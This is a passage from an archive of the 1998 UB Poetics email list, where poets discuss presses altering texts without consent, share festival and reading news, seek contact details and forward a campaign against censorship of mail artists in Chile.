``It wouldn't hurt for you to give up the presidency and become head of a Chinese township or village. Maybe then you

won't be sullied for a little 'morality problem','' it said.
^REUTERS@

↑ Index

368. Todd Baron /*/ ReMap
[Fwd: Re: [Fwd: LA READINGS]]
Wed 16 Sep 1998

This is a multi-part message in MIME format.

and.....from JK:

Joel Kuszai wrote:
>
> todd,
>
> i seem to only be able to write to others on earthlink.
> please send a note to poetics indicating that I cannot reply to anyone who
> isn't on earthlink and thus my absence from email for the last week.
>
> I do not have a place to live and have no access to my account most of the
> time.
>
> a message comes on the screen saying, "so and so" is not acceptable to your
> STMP server. Please fix it. etc. but I'm simply replying, etc. so I don't
> know what to do. I don't have a phone so I cannot call them...
>
> help

by swan.prod.itd.earthlink.net (8.8.7/8.8.5) with ESMTP id NAA19308
for <[redacted]>; Wed, 16 Sep 1998 13:01:53 -0700 (PDT)
Date: Wed, 16 Sep 1998 12:13:34 -0800
To: [redacted]
From: Joel Kuszai <[redacted]>
Subject: Re: [Fwd: LA READINGS]

todd,

i seem to only be able to write to others on earthlink.
please send a note to poetics indicating that I cannot reply to anyone who
isn't on earthlink and thus my absence from email for the last week.

I do not have a place to live and have no access to my account most of the time.

a message comes on the screen saying, "so and so" is not acceptable to your STMP server. Please fix it. etc. but I'm simply replying, etc. so I don't know what to do. I don't have a phone so I cannot call them...

help

----------192B6E0F47F--

↑ Index

369. Billy Little
Re: Dodge Poetry Festival
Wed 16 Sep 1998

---

any festival that has amiri baraka as a featured reader has nothing to be defensive about joel, he's the greatest.

billy little
4 song st.
nowhere, b.c. V0R1Z0

Go ahead and say something true
before the big turd eats You
You can say any last thing in Your poem.

-Alice Notley

↑ Index

370. Carl Lynden Peters
the death of the small press
Thu 17 Sep 1998

---

i am interested in hearing from poets who have had their works published by small presses (or other) and how they deal with publishers/presses that quite literally re-write the work WITHOUT consulting with you th poet first. i am sad to say i have had this experience only recently. perhaps my intentions weren't clear. but i always thot (i took it for granted) that before you are published publishers talk to you, consult with you on whatever revisions or whatever. in one instance i stated: "i do not want you to publish this essay." (yes, i had to turn a press down! i just didn't think the essay was worth it in the end), but they went ahead and printed my work. i feel awful. like i've just been walked on.

but maybe my experience is the exception. i have had one very good experience with a press. they sent me a copy of what they wanted to do with my work, and it was better than my original intention. but they sent me detailed notes and a proto-type of sorts so that i cld see it before hand. so i am happy that there is this press out there. with an ethics . . . that puts the work first.

carl

↑ Index

371. **joel lewis**
Re: POETICS Digest - 15 Sep 1998 to 16 Sep 1998 (#1998-65)
Thu 17 Sep 1998

---

thanks for encouragement, billy. would also like that to note that Amina Baraka, Amiri's wife, will also be reading. She's a powerful writer, who has been at it for at least 20 years and is just getting some notice

joel

> *Date: Wed, 16 Sep 1998 20:16:36 -0700*
> *From: Billy Little <[redacted]>*
> *Subject: Re: Dodge Poetry Festival*
> *MIME-Version: 1.0*
> *Content-Type: text/plain; charset="us-ascii"*
>
> *any festival that has amiri baraka as a featured reader has nothing to be defensive about joel, he's the greatest.*
>
> *billy little*

billy little

↑ Index

372. **Dean Taciuch**
Re: the death of the small press
Thu 17 Sep 1998

> *i am interested in hearing from poets who have had their works published by small presses (or other) and how they deal with publishers/presses that quite literally re-write the work WITHOUT consulting with you th poet first. i am sad to say i have had this experience only recently. perhaps my intentions weren't clear. but i always thot (i took it for granted) that before you are published publishers talk to you, consult with you on whatever revisions or whatever. in one instance i stated: "i do not want you to publish this essay." (yes, i had to turn a press down! i just didn't think the essay was worth it in the end), but they went ahead and printed my work. i feel awful. like i've just been walked on.*
>
> *but maybe my experience is the exception. i have had one very good experience with a press. they sent me a copy of what they wanted to do with my work, and it was better than my original intention. but they sent me detailed notes and a proto-type of sorts so that i cld see it before hand. so i am happy that there is this press out there. with an ethics . . . that puts the work first.*

> *carl*

My experience with Burning Press was outstanding. Luigi (Bob) Drake took incredibale care with rather particular needs of my mss--some very odd spacing/arrangement which went completely out of whack when the font and such were altered. Luigi worked to get the text back to, at times better than, my original arrangement, and I was kept informed via email and proof copies every step of the way, including decisions about cover art, materials, bindings, etc. I couldn't have asked for a more conscientious and concerned editor.

I have had only one bad experience, years ago--I don't even remember the journal, but it was, as I recall, fairly mainstream. They had obviously scanned my poem in with some OCR software and then barely attempted to correct the errors caused by it. The proofs were incorrect and my corrections were ignored.

So, from my experience, which is extremely limited, it seems that small presses are more careful--this makes sense to me, anyway

Dean

↑ Index

373. Ron Silliman
Textual abuse
Thu 17 Sep 1998

Both SUNY Buffalo and the Archive for New Poetry at UCSD have a copy of an early (1967 or 68) book of mine that was published by Jim Orsino-Sorcic at Gunrunner Press in Milwaukee. Jim was real young and new to the small press scene (as was I) when he did the book and he re-did linebreaks to make it fit his format. I felt totally violated at the time and still feel today as if I were the subject of an unwilling collaboration. Must have been how Rexroth felt at Zukofsky's reworking of his poem in the Objectivist Anthology.

I've left that work off of my biblio (as you will note on the site at EPC) and have never considered it _my_ work. I've made a point of notating both extant copies in those archives and I don't have a copy of the book myself.

And I've been much more careful after that.

I do think that small press people are generally (not entirely) more careful than those in the larger presses where the flow of responsibility gets more distributed and less personally felt. But there's not much you can do about it, ultimately, beyond letting other people know which presses do that.

Ron

[redacted]

>Date: Wed, 16 Sep 1998 21:14:08 -0700
>Reply-To: UB Poetics discussion group
<[redacted]>
>From: Carl Lynden Peters <[redacted]>
>Subject: the death of the small press
>To: [redacted]
>
>i am interested in hearing from poets who have had their works published
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374. Christina Fairbank Chirot

Attack to artists (fwd)

Thu 17 Sep 1998

Re the recent notes on events in Latin America and the Exhibition which Hans Braumuller is organizing--the following is of great importance-- I participated in the STOP exhibtion mentioned below--it was held in the Museum of Modern Art--Clemente Padin sent me some photos of works of his and mine and others--it was a major event--a large participation--we had a great deal to thank Humberto for --it is very disturbing to hear this news of his and others' firing for mounting this show--I hope as many of as possible write to the addresses below-- remember the attack on artists can come soon to your town--if not already! por la escritura en libertad! for writing in freedom! --dave baptiste chirot

---------- Forwarded message ----------
Date: Thu, 17 Sep 1998 09:00:10 -0500 (CDT)
From: David Baptiste Chirot <[redacted]>
To: [redacted]
Subject: Attack to artists (fwd)

---------- Forwarded message ----------
Date: Thu, 20 Aug 1998 13:22:26 -0300
From: "Clemente [iso-8859-1] Padín" <[redacted]>
To: [redacted], [redacted], [redacted],
[redacted], [redacted],
[redacted], [redacted], [redacted],
[redacted], [redacted]
Subject: Attack to artists

Dear friends: I am transmitting you this serious accusation of attack and censorship to the art and, in particular, to the mail art. The success of the campaign depends on you, it is say, it depend on the diffusion that you could give you to the communication (including thw wegsites) and of the expressions of rejection that you transmit to the addresses indicated to the end. Fraternal greetings.

Estimado amigos: Estoy trasmitiendo a Uds. esta grave acusación de ataque y censura al arte y, en particular, al arte correo. El éxito de la campaña depende de Uds., es decir, depende de la difusión que Uds. le puedan dar al comunicado (incluyendo las páginas de internet) y de las expresiones de rechazo que Uds. trasmitan a las direcciones indicadas abajo. Saludos fraternos:

CENSORSHIP AND ATTACK ON MAIL ART IN CHILE

In response of the systematic and offensive political persecution and the intolerance that for various years have been going on at the University of Chile's Fine Art School (actions promoted and spurred by reactionary, totalitarian an pro Pinochet sectors) on March 98, the Mail Art Exhibit "Stop: liberty, diversity and pluralism" was held at the Santiago's Museum of Contemporary Art, in defense of the constant attacks by sectors in power. As a result, Humberto Nilo, the Director of the U. de Chile's Fine Art School and organizer of the event, was dismissed from his position along with the Museum's Director and the Curator of the exhibit: Mrs. Rosario Letelier and Mr. Ernesto Munioz.

The brillant track records of the dismissed wich includes their strong defense of Human Rights during the chilean dictatorship; recuperating Guillermo Deisler memoirs, and hundreds of other artistic manifestation in defense of Human Rights and the dissemination of the best in Contemporary Art, were not taken into account.

It is paradoxical, not to mention denigrating, that after 17 years of military dictatorship in Chile, and after reaching (as certain oficialist sectors proclaim) democratic and social harmony levels worthy of being emulated by the rest of the continent; we have to experience the sad spectacle in wich cultural spaces are closed through economic strangulation, harrassment and dismissal of distinguished artists, simply because they don't share the "official line" and open or covert censorship of critical manifestations on what's established and current.

These cases, are not only attacks on people of proven professional and artistic excellence, they constitute a frontal attack on the principles that ground culture, in addition to being a crass outrage on the libertarian aspirations of an broad sector of the national and international artistic community. It is time we sponsor and stimulate the global coscience among all those artists who believe on the diversity and pluralism in art, to confront outrages such as that have just taken place in Chile. It has to be done now, since with the sophisticated strategies for manipulation and control, in the hands of the new inquisitioners of culture... tomorrow could be too late!

The intolerance and desdain for cultural diversity are achieving strategic permanence in those places that have historically been destinated to protecting diversity. Perhaps that's why there's been a strong push to silence them. What about critical view and reflection? Or is it that we are facing the beginning of a world regime with a cultural policy that is predominently non-critical, blind and "light" aligned with the purposes of Neo-liberalism?

Faced with the fear that the arrogance and brutality of the chilean regime could put in peril the future of Humberto Nilo, Rosario Letelier and Ernesto Munioz, we begin this World Campaign to repudiate censorship and personal attacks against any artist, regardless of whether he practices Mail Art, anywhere on the

face of the Earth, requesting from everyone to send-in expressions of solidarity and rejection against all sorts of discriminatory policies on cultural matters, so that in some way, their offenders can't get away with their threats unscathed.

CENSURA Y ATAQUE AL ARTE CORREO EN CHILE

A raíz de las sistemáticas y ofensivas persecuciones políticas e intolerancia que por varios años se dan en la Facultad de Artes de la Universidad de Chile -acciones promovidas e incitadas por sectores reaccionarios, totalitaristas y Pinochetistas- se convocó y realizó el pasado marzo de 1998, la exposición de arte correo "STOP: libertad, diversidad y pluralismo", en defensa de los constantes ataques de estos sectores de poder, en el Museo de Arte Contemporáneo de Santiago. Como resultado de la misma, el Director de la Escuela de Bellas Artes de la Universidad de Chile, Humberto Nilo, organizador de la muestra, no sólo fue expulsado de su cargo, sino también, el Director y Curador del Museo que albergó la exposición la Sra. Rosario Letelier y el Sr. Ernesto Muñoz.

De nada sirvieron las brillantes trayectorias de los expulsados ni su férrea defensa de los derechos humanos durante la dictadura chilena, incluyendo la recuperación de la memoria de Guillermo Deisler, el eterno exiliado, y cientos de otras manifestaciones artísticas en defensa de los derechos humanos y la difusión de lo mejor del arte contemporáneo.

Resulta paradójico, por no decir denigrante, que después de 17 años de dictadura militar en Chile, y habiendo alcanzado -según lo pregonan ciertos sectores oficialistas- unos niveles de democracia y convivencia social dignos de emular en el resto del continente; tengamos que asistir al triste espectáculo de cierre de espacios culturales a través del estrangulamiento económico, el hostigamiento y despido de sus empleos de destacados artistas por no compartir con la línea oficial y la censura abierta o solapada de toda manifestación crítica sobre lo establecido y lo vigente.

Estos casos no son sólo ataques a personas de probada excelencia profesional y artística, sino más bien constituyen un ataque frontal a los principios que cimientan la cultura, además de un craso atropello a las aspiraciones libertarias de un amplio sector de la comunidad artística tanto nacional como internacional. Es hora de fomentar e incentivar la conciencia mundial entre todos aquellos artistas que creemos en la diversidad y pluralidad del arte, para hacerle frente a atropellos como el que acaba de ocurrir en Chile. Y tiene que ser ahora, ya que con las sofisticadas estrategias de manipulación y control en manos de los nuevos inquisidores de la cultura... ¡mañana podría resultar demasiado tarde!

La intolerancia y el desprecio por la diversidad cultural están entronizándose justamente en aquellos lugares destinados históricamente a ser la salvaguarda

de esa diversidad. Quizás por eso mismo es que se despliega un ahínco feroz y mordaz para silenciarlos. ¿Y la visión crítica y la reflexión? ¿O es que estamos ante los inicios de un régimen mundial con una política cultural predominantemente acrítica, ciega y "light" afin con los propósitos del neoliberalismo?

Ante el temor de que los desplantes y la brutalidad del régimen chileno puedan poner en peligro la suerte de Humberto Nilo, Rosario Letelier y Ernesto Muñoz, se inicia esta campaña mundial de repudio a la censura y al ataque personal contra cualquier artista, practique o no el arte correo, en cualquier lugar del planeta, solicitando al mundo entero que envíen expresiones de apoyo solidario y rechazo frontal hacia todo tipo de política discriminatoria en materia cultural, para que de alguna manera, sus ofensores no puedan llevar a cabo sus amenazas impunemente.

Send your messages to by post mail, fax and/or e-mail to:
Comunicaciones vía postal, fax y/o correo electrónico a:

Humberto Nilo Saavedra
Calama 8435, La Cisterna, Santiago, CHILE
tel. 5581888
[redacted]

Presidente de la República: Sr. Eduardo Frei Ruiz Tagle
Dirección postal/postal address: Palacio de la Moneda, Av. Libertador Bernardo
O´´Higgins, Santiago, Chile. Fax: 6387332
Email: [redacted]

Presidente de la Cámara de Diputados: Sr. Gutemberg Martínez Dirección postal/postal address: Av. Pedro Montt s/n , Valparaíso, Chile. Fax: 6874152
Email: [redacted] ó/or [redacted] (secretarias de Gabinetes)

Presidente del Senado: Sr. Andrés Zaldivar Larraín
Dirección postal/postal address: Av. Pedro Montt s/n, Valparaíso, Chile.
Fax: 6326603
Email: [redacted] ó/or [redacted] (secretarias de
Gabinetes)

Rector de la Universidad de Chile: Sr. Luis Riveros
Dirección postal/postal address: Av. Libertador Bernardo O´Higgins 1058
Fax: 6781012
Email: [redacted]

Ministro de Educación: Sr. José Pablo Arellano
Dirección postal/postal address: Av. Libertador Bernardo O´Higgins 1317, Santiago,

Chile. Fax: 6716164
Email: [redacted]

Agencia UPI: Sr. Rodrigo Bustamante(editor)
Dirección postal/ postal address: Nataniel 47, piso 9, Santiago, Chile.
Fax: 6986605

Agencia ORBE: Sra. Marisol Freire(editor)
Dirección postal/ postal address: Phillips 56, oficina 66, Santiago, Chile.
Fax: 6396826

Clemente Padín

http://www.postypographika.com/menu-en1/paraleng/parpadin/padinbio.htm
http://www.concentric.net/~Lndb/padin/1cpcont.htm
http://www.thing.net/~grist/l&d/padinl.htm
http://www.artepostal.org.mx/artistas/padin.html
http://www.ubuweg.com/vp/index3.html
http://www.geocities.com/SoHo/Café/1492/lit-tax.html
http://www.geocities.com/Paris/LeftBank/2721
http://www.abaforum.es/merzmail/lapoesia.htm

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375. **David Baratier**
Re: Textual abuse
Thu 17 Sep 1998

Except for an unexpected indentation problem on my first chapbook no problems in textual concerns with my work. In other areas, there have been doozies tho. Mainly with large publications that have went long beyond their posted reading schedules and have not responded to queries as to whereabouts & then publish the piece, or smaller cliquish magazines that decide not to respond to a submission. Perhaps we need a shit list to mail around. And a list of respectable places as well-- I place kudos to Gian Lombardo at Key Satch(el) and Quarter After Eight for going extra lengths when dealing with pieces which have textual issues.

As for publishing others, I have only had one major problem which was in the first full length book. That was when I found out two lines were lopped off of a piece in Chris Stroffolino's Oops due to a Quark X-press page quirk I forgot about (the x in the box thang). Unless people count delays.

For the journal, in a few cases I have offered some writers reserved edit options and if they want to change the piece I'll publish it. I've probably made some enemies that way, and possibly through certain rejections, but I'm not going to publish some 3rd or 4th rate piece just because you got books sitting on shelves

everywhere. Unlike some places I do just fine fiscally without publishing a name for name's sake. I have always related to James Laughlin's notion that "New Directions books are published _for_ James Laughlin" and hope the concept hasn't passed with him. Let be be finale of seem. Let someone else be the curator of crap. If you don't respect the journal you send to enough to send something decent or your ego is too pasty and fragile (or HUGE) to send more than once, what do you expect? Rejecting things is the same as understanding that when a poem says "I saw God," it's the poem who saw God.

Be well

David Baratier

↑ Index

376. **Roger Farr**
Re: Textual abuse
Thu 17 Sep 1998

Curious that the Objectivists Anthology should come up in this discussion -- thumbing through the copy in SFU Special Collections yesterday, I discovered what must be the largest "errata" insert I've ever seen! A wonderful found poem!

RR

↑ Index

377. **Aldon Nielsen**
Re: Fred Moten
Thu 17 Sep 1998

---

responding in the open as the response is incomplete!

Fred Moten has just relocated to New York from U C Santa Barbara -- He is now to be found at the Performance Studies program at NYU -- when he left here, he did not yet have his new email address of phone, but you can probably find him through NYU

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378. **Ron Silliman**
Re: Textual abuse
Thu 17 Sep 1998

Roger,

That's not only the same book to which I was referring -- it's probably the same copy!!

Ron

>Date: Thu, 17 Sep 1998 10:14:49 -0700
>Reply-To: UB Poetics discussion group
<[redacted]>
>From: Roger Farr <[redacted]>
>Subject: Re: Textual abuse
>To: [redacted]
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379. Charles Alexander

Re: Textual abuse

Thu 17 Sep 1998

Like Mark Weiss, I've made mistakes here. I've missed a correction before. I've also had one occasion of an author who did not want to proofread, and more mistakes ended up in that book. I've never intentionally changed an author's text, though, without consulting her or him, and when I've made design decisions which I felt were not necessarily implied by the text, I've talked to the author about what I was doing and have obtained approval.

Still, the mistakes are much regretted, and, like Mark, make me take steps to insure they don't happen again. On the other hand, something I share with Mark is the desire for perfection in our books; and, from that perspective, it seems there are always little things (hopefully not big ones) in each project which make one feel that it could be just a little better.

And, Ron, there is also a copy of your Gunrunner Press book in the rare book vaults at the University of Wisconsin-Madison. When I worked there in the late 1970's and early 1980's I found it and I also had trouble recognizing it as your work. So if you're ever in Madison, you might want to stop there and annotate that copy, too.

charles

At 05:02 PM 9/17/98 -0700, you wrote:
>Let me second this.
>A suggestion for publishers: in the first issue of Broadway Boogie, my
>first publishing venture, I made a mistake while typesetting and dropped a
>few lines of a poem. I of course included a little tag with a correction,
>but that doesn't really make it right. Since then I have always given my
>authors proofs of the typeset work (whether in the form of xeroxes or
>print-outs) before going to press.
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>>of his poem in the Objectivist Anthology.
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>>And I've been much more careful after that.
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>>careful than those in the larger presses where the flow of
>>responsibility gets more distributed and less personally felt. But
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>>
>>
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>>[redacted]
>>
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>>>Date: Wed, 16 Sep 1998 21:14:08 -0700
>>>Reply-To: UB Poetics discussion group
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>>>To: [redacted]
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>>Get Your Private, Free Email at http://www.hotmail.com
>>
>>
>
>
charles alexander :: poet and book artist :: [redacted]
chax press :: alexander writing/design/publishing

books by artists' hands :: web sites built with care and vision
http://alexwritdespub.com/chax :: http://alexwritdespub.com

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380. Hilton Manfred Obenzinger
Re: Textual abuse
Thu 17 Sep 1998

Abused:

When Norton published the Before Columbus American Book Awards anthology they included a large selection from my "This Passover Or The Next I Will Never Be in Jerusalem," though after delight I was dismayed to learn that they had entirely amputed half of one of the poems I liked the best ("Sweat-Lodge"). Purely a sloppy error -- and apparently they did just as careless work with Ginsberg (a kind of reassurance). The errors due to haste in getting the book out -- so much for getting Nortonized -- but it just ends up more of a heart-breaking mess. I called, wrote, and so far no errata -- just a promise that maybe in the next printing things could be fixed up (I don't believe there's been another printing, but even so I doubt it.).

Norton is a grand place, one of the better places and of course so far out of corporate clutches, but I have prefered working with smaller presses (Mercury House is a delight) because most of the time you can exercise far greater care, far more of a collaborative relationship, far more appreciation for the writer's body as well as soul.

Hilton Obenzinger

↑ Index

381. shana
fred moten
Thu 17 Sep 1998

Email addy is predictably--
[redacted]

NYU staff gets perks, apparently--look at *my* email address...speaking of NYU's performance studies, has anyone been in contact with Barbara Kirshenblatt-Gimblett? I read a lot of her ethnography essays for a writing class my freshman year, and I've always wanted to pick her brain.

nb. sorry i didn't backchannel, i forgot who asked the question!

shana

"It's harder to be friends than lovers
and you shouldn't try to mix the two
Cause if you do it and you're still unhappy
then you know that the problem is you"
--"divorce song," liz phair

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382. Jacques Debrot
Boog Lit search
Thu 17 Sep 1998

I'm looking for an e-, or s-address for Boog Literature. Would greatly appreciate info back channel. Thanks.

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383. Rachel Levitsky
Re: Waddaya call amuricans?
Thu 17 Sep 1998

Mark Prejnar-

this is from a long time ago but I just read it i've been so erratic in my new digs here. My recommendation:

AmUserIcans

It's a good life, if you can get it.

--rdl

Mark Prejsnar wrote:
>
> USAmericans
>
> Unitedstatesians
>
> gringos
>
> gringoes (sing., gringao, with a tilda)
>
> yanks
>
> how about, "usans" ??
>
> ..Try it yorself; it's fun and easy! I use all these all the time myself

> in conversation; what rightwingers pretend to think are "awkward"
> locutions, are alotta time a fun way to play with language and make a
> political point at the same time. It's both rewarding and socially useful
> to piss off P.C.-bashers.
>
> But then, i still refer to my small Sony unit as a walkperson, and a
> first-year undergrad as a freshperson...

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384. **Mark Weiss**

Re: Textual abuse

Thu 17 Sep 1998

Let me second this. A suggestion for publishers: in the first issue of Broadway Boogie, my first publishing venture, I made a mistake while typesetting and dropped a few lines of a poem. I of course included a little tag with a correction, but that doesn't really make it right. Since then I have always given my authors proofs of the typeset work (whether in the form of xeroxes or print-outs) before going to press.

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>>but maybe my experience is the exception. i have had one very good
>>experience with a press. they sent me a copy of what they wanted to do
>>with my work, and it was better than my original intention. but they
>sent
>>me detailed notes and a proto-type of sorts so that i cld see it before
>>hand. so i am happy that there is this press out there. with an ethics
>>. . . that puts the work first.
>>
>>carl
>>
>
>
>_____

>Get Your Private, Free Email at http://www.hotmail.com
>
>

↑ Index

385. **Karen Kelley**
Re: the death of the small press
Thu 17 Sep 1998

In 1992 I did a book with Singing Horse Press. Gil Ott edited & was a joy to work with. He sent a proof beforehand--which I thought was a given. Now I'm doing one with John Noto's Vatic Hum press, and one of the fun parts is going up to the city & having lunch & looking over the manuscript as we go. Maybe the moral is that good poets make good poetry editors.

Dean Taciuch wrote:

> *i am interested in hearing from poets who have had their works published by small presses (or other) and how they deal with publishers/presses that quite literally re-write the work WITHOUT consulting with you th poet first. i am sad to say i have had this experience only recently. perhaps my intentions weren't clear. but i always thot (i took it for granted) that before you are published publishers talk to you, consult with you on whatever revisions or whatever. in one instance i stated: "i do not want you to publish this essay." (yes, i had to turn a press down! i just didn't think the essay was worth it in the end), but they went ahead and printed my work. i feel awful. like i've just been walked on.*
>
> *but maybe my experience is the exception. i have had one very good experience with a press. they sent me a copy of what they wanted to do with my work, and it was better than my original intention. but they sent me detailed notes and a proto-type of sorts so that i cld see it before hand. so i am happy that there is this press out there. with an ethics . . . that puts the work first.*
>
> *carl*
>
> *My experience with Burning Press was outstanding. Luigi (Bob) Drake took incredibale care with rather particular needs of my mss--some very odd spacing/arrangement which went completely out of whack when the font and such were altered. Luigi worked to get the text back to, at times better than, my original arrangement, and I was kept informed via email and proof copies every step of the way, including decisions about cover art, materials, bindings, etc. I couldn't have asked for a more conscientious and concerned editor.*
>
> *I have had only one bad experience, years ago--I don't even remember the*

> *journal, but it was, as I recall, fairly mainstream. They had obviously scanned my poem in with some OCR software and then barely attempted to correct the errors caused by it. The proofs were incorrect and my corrections were ignored.*
>
> *So, from my experience, which is extremely limited, it seems that small presses are more careful--this makes sense to me, anyway*
>
> *Dean*

↑ Index

386. **David Baratier**
Re: Poetry Project
Thu 17 Sep 1998

Can someone give me the number for the Poetry Project in NYC please?

I think the number is ten. On the corner. That bad boy of numerology.

Be well

David Baratier

↑ Index

387. **Todd Baron /*/ ReMap**
?
Fri 18 Sep 1998

---

anone out there have wearabouts of Suzanne Edminster?

Tb

↑ Index

388. **Ramez Ejaz Qureshi**
Poetry Project
Fri 18 Sep 1998

Can someone give me the phone number for the Poetry Project in NYC please?
Thanxalot,
-R.Q.

↑ Index

389. **John Kimball**

The East Village, Volume Three

Fri 18 Sep 1998

The East Village Poetry Web

Access in North America:

<http://www.theeastvillage.org>.

In Japan:

<http://interserver.miyazaki-med.ac.jp/~east/village.htm>.

Here's how Volume Three stacks up.

___ Alice Notley [2 Poems]
___ Charles North [3 Poems]
___ John Lancia [2 Images]
___ Brian Stefans [Zepplins]
___ Susan Rothenberg [3 Images]
___ Hiroaki Sato [The Poem of 1999]
___ Matt Levy [A Blank Dedication]
___ Charley Shively [5 Poems]
___ Young Sook Hong [2 Images]
___ Vincent Katz [3 Poems]
___ Maciej Toporowicz [Images from Lure]
___ Sheila Murphy [As Dance Is]
___ Michael Magee [2 Poems]
___ Jon Huffman [2 Images]
___ Tadashi Kondo [7 Haiku]
___ Coral Hull [Rural Victoria]
___ Douglas Oliver [4 Poems]
___ Paul Violi [In the Houseof Messer Sconforto]
___ Cooper Esteban [4 Poems]
___ Forrest Gander [3 Poems]
___ Claire Jervert [Unitled Image]

Audio Files:

___ Tony Towle [4 Poems]
___ Forrest Gander [3 Poems]
___ Charley Shively [Stonelicks]

Web Textcraft:

___ Jim Andrews [Seattle Drift]

_____

Previous volumes are still online.

Volume One:
[Harry Mathews; David Trinidad; Nada Gordon; Andrea Brady; Forrest Gander; Alan Sondheim; Kent Johnson; Brice Marden; and lots of others]

Volume Two:
[Tony Towle; Carrie Etter; Gary Sullivan; Alex Katz; Peter Ganick; Yayoi Kusama; John Tranter; Cid Corman; Billy Little; Bob Arnold; and more.]

If you would like to access Volumes One and Two, select "Other Volumes" above the table of contents for Volume Three.

Coming next: Poetries of Canada -- a special edition of The East Village. More soon. (Apologies for any cross-posts.) Thanks.

↑ Index

390. Ralph Wessman
Re: textual abuse
Fri 18 Sep 1998

Another writer was in the habit of sending a large batch of haiku - around seventy (a couple of year's work) - to magazines in the expectation two or three'd periodically find publication. To her horror, all seventy ended up in one issue of a small journal publishing poetry, haiku, essays etc - effectively drying up her material on hand in one fell swoop - though she wasn't to learn this til a contributor's copy arrived in the mail.

Communication gone astray?

Ralph Wessman
Hobart

↑ Index

391. George Bowering
Re: Textual abuse
Fri 18 Sep 1998

Long time ago I heard the story that when Olson found a typo in his printed text he enjoyed it & saw it as a leap into another possible poem.

George Bowering.

,

2499 West 37th Ave.,

Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

392. David Kellogg
Reincarnation in Congress
Fri 18 Sep 1998

"We have reason to believe that top aides that have access to the Oval Office have been orchestrating a conspiracy to intimidate members of Congress by using their past lives." -- Tom DeLay

Cheers,
David
~~~
~~~

artistic director Anne Bunker. Admission tonight is $6 adults, $2 for children under 15.This is also at 121 E. Seventh St.

POG is still getting its schedule settled, but we do know:

Tuesday, October 13
Dinnerware Art Gallery
135 E. Congress St., Tucson
Tony Lopez, poet
Nancy Solomon, video artist

November 17, Tuesday
Dinnerware
Douglas Barbour & Stephen Scobie, poetry & sound poetry
Barbara Penn, installation artist

December 5, Saturday
Eli Goldblatt, poet
others to be named
site still to be determined

more updates to come later

charles
chax press : alexander writing/design/publishing
[redacted]
http://alexwritdespub.com/chax
[redacted] (phone) [redacted] (fax)

↑ Index

394. John Latta
Re: Textual abuse
Fri 18 Sep 1998

A poem in my book _Rubbing Torsos_ begins "The dead toy gaily with us" and ends "and broke all my dead toys." However, when I read through the sheets at Ithaca House before binding I found "all my old toys." I have to admit a secret delight in the resulting erratum slip that reads: "For _old_ read _dead_"

John Latta

On Fri, 18 Sep 1998, George Bowering wrote:

> *Long time ago I heard the story that when Olson found a typo in his printed text he enjoyed it & saw it as a leap into another possible poem.*

> *George Bowering.*
>
> *,*
>
> *2499 West 37th Ave.,*
> *Vancouver, B.C.,*
> *Canada V6M 1P4*
>
> *fax:* [redacted]

↑ Index

395. **Les Plooster**

Re: Looking for a Teachable Text

Fri 18 Sep 1998

I have used the section at the back of M.H. Abrams _A Glossary of Literary Terms_ with some success. The entries are concise and list the more prominent works in each specific area. I've been using the 6th edition which is getting a bit dated, perhaps, but for an intro style undergraduate course, I think it covers the bases quite well.

Les Plooster

-----Original Message-----
From: Mark Salerno <[redacted]>
To: [redacted] <[redacted]>
Date: Monday, September 14, 1998 3:50 PM
Subject: Looking for a Teachable Text

> *To All Of You School Teachers Out There:*
>
> *This semester I'm teaching an intro to lit course that includes a theory/criticism component. The previously-assigned text for this course has a chapter on Structuralism & Poststructuralism, the subheadings of which include "Russian Formalism," "Semiotics or Semiology," "French Structuralism" and "Poststructuralism." All in fifteen easy pages. Needless to say, this chapter is "introductory" to the point of being useless, so I'd appreciate hearing from anyone (by backchannel) who can recommend a better survey of the terrain--perhaps an essay or chapter, rather than an entire monograph. Preferably something that would be comprehensible to a freshman college student.*
>
> *Thanks in advance.*
>
> *A fellow school teacher,*
>
> *Mark Salerno*

↑ Index

396. Hank Lazer
Re: Jargon books
Fri 18 Sep 1998

Dear Pierre,

Thanks for sending along the St. Lazaire Press books. Those books begin to give me a sense of the many directions that emanate from Robert Kelly.... And Tom Meyer's work is wonderful--sadly, one of far too many well kept secrets in American poetry.

Is there something I can send in return? Do you have a copy of _Early Days of the Lang Dynasty" (Meow Press, 1996)?

Hank Lazer

↑ Index

397. r. drake
Oopportunity: Hypertext Competition (forward)
Fri 18 Sep 1998

via RHIZOME Digest newsleter: http://www.rhizome.org

> *+opportunity+*
> *1. Alt-X: Alt-X/trAce International Hypertext Competition*
>
> +
>
> *1.*
>
> *Date: 8.27.98*
> *From: Alt-X ([redacted])*
> *Subject: Alt-X/trAce International Hypertext Competition*
>
> *INTERNATIONAL HYPERTEXT COMPETITION*
>
> *Alt-X and trAce are pleased to announce their first International Hypertext Competition. We offer a single prize of One Thousand English Pounds for the best hypertext site on the web.*
>
> *Deadline for entries: December 31st 1998*
>
> *What is hypertext?*
>
> *Ted Nelson, who invented the term hypertext over 30 years ago, described it as "non-sequential writing--text that branches and allows choices to*

> *the reader, best read at an interactive screen. As popularly conceived, this is a series of text chunks connected by links which offer the reader different pathways." We prefer to see it as "multi-sequential" writing but are generally comfortable with his description here. Also, we're open to work that integrates other media as well (sound, images, Java, etc.) but it should be primarily text-based and easily accessible from the average web-surfer's home-computer.*
>
> *What kinds of hypertext entries are you looking for?*
>
> *First of all, they have to be web-based. On the entry form, please be sure to include the URL (web address) so that we know where to look for your project. Hypertexts submitted on disk are not acceptable. We will be judging the entries against the following criteria:*
>
> *+ High quality writing*
>
> *+ Excellent overall conceptual design and hyperlink structure*
>
> *+ Ease of use for the average web-surfer (if we can't read it on our home machines then we'll just move on to the next one!)*
>
> *To enter, point your web browser to:*
>
> *http://trace.ntu.ac.uk/comp.html*

↑ Index

398. **MAYHEW**

Textual abuse

Fri 18 Sep 1998

When reading the page proofs for my The poetics of Self-Consciousness I never removed a large paper clip sort of thing from the top of the pages. One of the title headings read Vincente Aleixandre instead of Vicente, but I never saw it until the book was printed. So it is Vincente on very single &%$#@ page of the chapter. Ouch.

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

↑ Index

399. **Poproj**
nyfa grant seminar
Fri 18 Sep 1998

